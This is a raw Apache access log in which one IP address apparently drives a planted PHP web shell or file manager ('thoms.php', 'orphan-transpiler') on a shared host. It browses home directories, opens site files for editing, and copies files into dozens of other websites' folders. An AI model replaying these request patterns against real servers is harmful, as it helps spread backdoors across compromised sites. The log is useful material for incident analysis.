45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p= HTTP/1.1" 200 12280 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /big-wife.com.tw/orphan-transpiler/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 6566 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?edit=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 12725 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 16321 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 18871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 6431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19560 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&option=file HTTP/1.1" 200 6492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 28488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9275 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 6489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 6451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 6565 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&location=%2F HTTP/1.1" 200 7906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&location=%2Fhome%2F HTTP/1.1" 200 5825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F HTTP/1.1" 200 6595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /big-wife.com.tw/orphan-transpiler/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler%2F&option=folder HTTP/1.1" 200 6462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bodbooks.com.tw HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=booking-wise2.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=cgi-bin HTTP/1.1" 200 11378 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bossini.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=beauty-dental.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bioway88.com.tw HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11426 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bfl.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wp-content-20260912023544 HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22035 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bestjudy.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=biotaiwan.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22034 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bogroup.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=besth2o.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=big-wife.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=betcity.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bft.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22032 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=upgrade HTTP/1.1" 200 11377 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wp-content HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=ba-guo.com.tw HTTP/1.1" 200 11380 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bestzyx.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 17437 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?edit=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 13869 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19747 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 12297 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19734 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /big-wife.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
